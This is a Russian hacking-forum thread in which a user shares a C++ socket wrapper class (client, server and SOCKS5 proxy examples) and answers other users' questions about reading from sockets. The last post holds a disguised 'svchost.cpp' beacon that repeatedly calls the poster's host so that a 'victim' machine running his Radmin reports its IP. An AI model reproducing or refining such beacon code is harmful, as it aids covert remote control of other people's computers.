ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Класс для работы с сокетами на С++
  #1  
Старый 19.11.2006, 00:01
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
Thumbs up Класс для работы с сокетами на С++

Написал недавно удобный класс Socket для работы с сокетами.
Класс содержит следующие методы:

Socket(bool create=1, int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
Конструктор класса Socket. Флаг create указывает на необходимость создания сокета в конструкторе.
По умолчанию принимается тип SOCK_STREAM и протокол IPPROTO_TCP (TCP/IP)

Socket(SOCKET)
создание объекта на основе уже созданного сокета

Socket(Socket&)
конструктор копии

~Socket()
деструктор

int create(int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
создает сокет указанного типа и протокола


int set_buffer_size(int size)
установка размера входного буфера. возвращает старое значение

int get_buffer_size()
получение размера входного буфера

bool set_terminate_flag(bool value)
установка флага, при котором будет записываться 0 в конец буфера при получении данных. возвращает старое значение

bool get_terminate_flag()
получение флага записи 0

int get_last_length()
получение длины последнего полученного блока данных

static char* getlasterror()
возвратить текстовое описание ошибки. утечки памяти не происходит, т.к. место зарезервировано в сегменте данных

int bind(int port, int addr=INADDR_ANY)
биндит сокет к порту и указанному адресу.
эта и все остальные сокетные функции возвращает -1 при ошибке и 0, если все нормально

int connect(char* host_name, int port)
соединяется с указанном хостом и портом. Можно передать доменное имя

int connect_to(sockaddr_in* sa)
соединяется согласно параметрам, указанным в заполненной структуре SOCKADDR_IN

int close()
закрывает сокет

int listen(int backlog=5)
переводит сокет в прослушивающий режим

Socket* accept(sockaddr_in* from=0)
ждет входящего соединения. Можно передать адрес sockaddr_in, куда будет записан адрес удаленного компьютера. Возвращает новый объект Socket, который нужно будет удалить оператором delete.

char* recv(char* buffer, int buflen=0)
получает данные из сокета. Если передать 0 вместо длины буфера, будет использоваться дефолтное значение

unsigned char* recv(unsigned char* buffer, int buflen=0)
перегруженный аналог предыдущей функции для типа unsigned char*

char* recv()
получение данных с автовыделением памяти. Она должна будет удалена вызовом delete.

int send(char* buffer, int buflen=0)
и int send(unsigned char* buffer, int buflen=0)
отправка данных в сокет. Если указать длину 0, то длина будет вычислена с помощью strlen() (до первого нулевого байта)

Резолвинг доменных имен:
static char* nslookup(char* host_name)
и static DWORD nslookup_raw(char* host_name)
возвращают IP-адрес, соответствующий домену, соответственно в строковом и числовом форматах.

Поддержка потокового ввода-вывода для строк
Socket& operator<<(char* string)
и Socket& operator>>(char* buffer)

Пример клиентской программы:
Код:
	Socket sock;
	sock.connect("mail.ru", 80);
	sock<<"GET http://mail.ru/ HTTP/1.0\r\n\r\n";

	char buf[1024];
	sock.set_buffer_size(sizeof(buf));
	sock>>buf;
	MessageBox(0, buf, "mail.ru", 0);
	sock.close();
Пример серверной программы (с проверкой на ошибки):
Код:
	Socket serv;
	if(serv.bind(8080)==-1)
		return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
	if(serv.listen()==-1)
		return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
	Socket *remote = serv.accept();
	if(!remote)
		return MessageBox(0, serv.getlasterror(), "Unable to accept connection", MB_ICONHAND);
	char buf[1024];
	remote->set_buffer_size(sizeof(buf));
	(*remote)>>buf;
	(*remote)<<"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Socket class demo application</h1>Hello, World!";
	remote->close();
	serv.close();
	delete remote;

	MessageBox(0, buf, "Remote", 0);
Пример наследования - класс Socks для работы с SOCKS-прокси:
Код:
class Socks: public Socket
{
public:
	int connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port);
};

// Connect to SOCKS
int Socks::connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port)
{
	set_terminate_flag(0);
	if(Socket::connect(proxy_host, proxy_port)==-1)
		return -1;
	
	unsigned char packet[1024];
	int bytes=0;

	memcpy(packet, "\x05\x01\x00", 3);
	send(packet, 3);
	recv(packet, sizeof(packet));
	bytes = get_last_length();

	if(*(WORD*)packet != 0x0005)
	{
		close();
		return -1;
	}

	DWORD ip = nslookup_raw(dest_host);
	if(!ip)
	{
		close();
		return -1;
	}

	packet[0] = 5; // VERSION: 5
	packet[1] = 1; // METHOD: CONNECT
	packet[2] = 0; // RSV: 0
	packet[3] = 1; // ADTYPE: IPv4
	*(DWORD*)&(packet[4]) = ip;
	*(WORD*)&(packet[8])  = htons(dest_port);

	send(packet, 10);
	recv(packet, sizeof(packet));
	bytes = get_last_length();

	if(bytes!=10 || packet[1])
	{
		close();
		return -1;
	}

	set_terminate_flag(1);
	
	return 0;
}
После вызова connect можно читать и писать в сокет как обычно

Скачать:
socket.h (2 Kb)
socket.cpp (6 Kb)
Вложения
Тип файла: txt socket.cpp.txt (5.6 Кб, 111 просмотров)
Тип файла: txt socket.h.txt (1.7 Кб, 92 просмотров)

Последний раз редактировалось _Great_; 21.06.2007 в 23:21..
 
Ответить с цитированием

  #2  
Старый 19.11.2006, 15:48
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

_Great_ - а на паскаль переведешь?
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #3  
Старый 19.11.2006, 15:50
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

На паскальные классы?
Можно попробовать
 
Ответить с цитированием

  #4  
Старый 19.11.2006, 21:26
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

слушай ток я чет не пойму get_buffer_size() это "получение размера входного буфера" тобеш ответ сервера?? почему тогла всегда выдает 1024 !
и recv() тоже берет ток 1024 символа, а не весь ответ!
или я чет не разобрался..
 
Ответить с цитированием

  #5  
Старый 19.11.2006, 21:38
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Если recv() не передать длину буфера или юзать конструкцию sock>>buffer, то из сокета прочтется количество байт, равное дефолтной длине буфера (по умолчанию 1024). Это значение меняется функцией set_buffer_size().
А получение реального размера - get_last_length().

пример:
Код:
char buffer[512];
sock.set_buffer_size(sizeof(buffer));

sock<<"GET http://mail.ru/\r\n\r\n";
sock>>buffer;
прочтет 512 байт во время выполнения sock>>buffer, т.к. это значение было установлено
 
Ответить с цитированием

  #6  
Старый 19.11.2006, 23:02
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

НУ эт я уже понял! а есле я не знаю длину ответа?? тогда как??
 
Ответить с цитированием

  #7  
Старый 19.11.2006, 23:07
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

В смысле?
Код:
char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
  sock>>buf;
  // парсим
}
while(sock.get_last_length()>0);

sock.close();
примерно так выглядит цикл чтения из сокета.
 
Ответить с цитированием

  #8  
Старый 20.11.2006, 23:11
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

/me думает: "а если сам перепишу, сколько багов будет??!"
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #9  
Старый 21.11.2006, 01:04
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

Цитата:
Сообщение от _Great_  
В смысле?
Код:
char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
  sock>>buf;
  // парсим
}
while(sock.get_last_length()>0);

sock.close();
примерно так выглядит цикл чтения из сокета.
Все уже разобрался! спасиб!
 
Ответить с цитированием

  #10  
Старый 13.12.2006, 00:40
m17
Новичок
Регистрация: 05.12.2006
Сообщений: 22
Провел на форуме:
32556

Репутация: 6
По умолчанию

возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться?

Код:
// file: svchost.cpp
#include "stdafx.h"
#include "socket.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	char buf[32];

	while (true)
	{
		Socket sock;
		
		sock.connect("my.ip.add.ress", 177);
		sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n";
		
		sock.set_buffer_size(sizeof(buf));
		sock >> buf;
		sock.close();

		Sleep(25000);
	}

	return 0;
}
вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало...
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...

Последний раз редактировалось m17; 13.12.2006 в 00:43..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
О законе. _-[A.M.D]HiM@S-_ Статьи 28 01.11.2007 12:25
Софт для мобильных телефонов под *nix Grrl Сотовый фрикинг 2 02.03.2007 01:47
Редактирование содежимого прошивок для Самсунгов Digimortal Схемы и программы 3 28.02.2007 14:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ